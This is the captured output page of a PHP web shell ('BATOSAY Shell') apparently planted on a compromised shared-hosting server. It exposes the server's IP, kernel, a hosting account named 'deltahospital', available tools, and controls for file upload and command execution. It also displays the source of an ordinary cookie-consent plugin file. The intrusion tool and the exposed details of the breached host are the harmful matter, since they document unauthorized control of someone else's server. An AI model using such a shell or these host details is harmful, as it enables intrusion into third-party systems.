BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.38
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/usr/local/sitepad/editor/site-data/plugins/cookieadmin-pro/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/usr/local/sitepad/editor/site-data/plugins/cookieadmin-pro/includes/database.php
<?php

namespace CookieAdminPro;

if(!defined('COOKIEADMIN_PRO_VERSION') || !defined('ABSPATH')){
	die('Hacking Attempt');
}

class Database{
	
	static $wpdb = '';
	static $consent_table = '';
	
	static function activate(){
		
		global $wpdb;
		
		self::$wpdb = $wpdb;
		self::$consent_table = esc_sql(self::$wpdb->prefix . 'cookieadmin_consents');
		self::cookieadmin_create_tables();
	}
	
	static function cookieadmin_create_tables() {
		
		$charset_collate = self::$wpdb->get_charset_collate();
		$db_path = !defined('SITEPAD') ? ABSPATH . 'wp-admin/includes/upgrade.php' : ABSPATH . 'site-admin/includes/upgrade.php';
		require_once($db_path);
		
		//Create Consent table
		$sql = "CREATE TABLE IF NOT EXISTS ".self::$consent_table." (
			id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
			consent_id VARCHAR(128) NOT NULL UNIQUE,  -- Designed to store up to 128 characters for future expansion
			user_ip VARBINARY(16) DEFAULT NULL,         -- For storing anonymized IP (IPv4 or IPv6)
			consent_time INT NOT NULL,
			country VARCHAR(150) DEFAULT NULL,          -- Full country name
			browser TEXT DEFAULT NULL,                  -- Browser User agent string
			domain VARCHAR(255) DEFAULT NULL,           -- Domain from which consent was submitted
			consent_status VARCHAR(50) NOT NULL         -- Stores 'accepted', 'rejected', 'partially accepted', etc.
		) {$charset_collate};";
		
		dbDelta($sql);
	}
}



Batosay - 2023
IDNSEO Team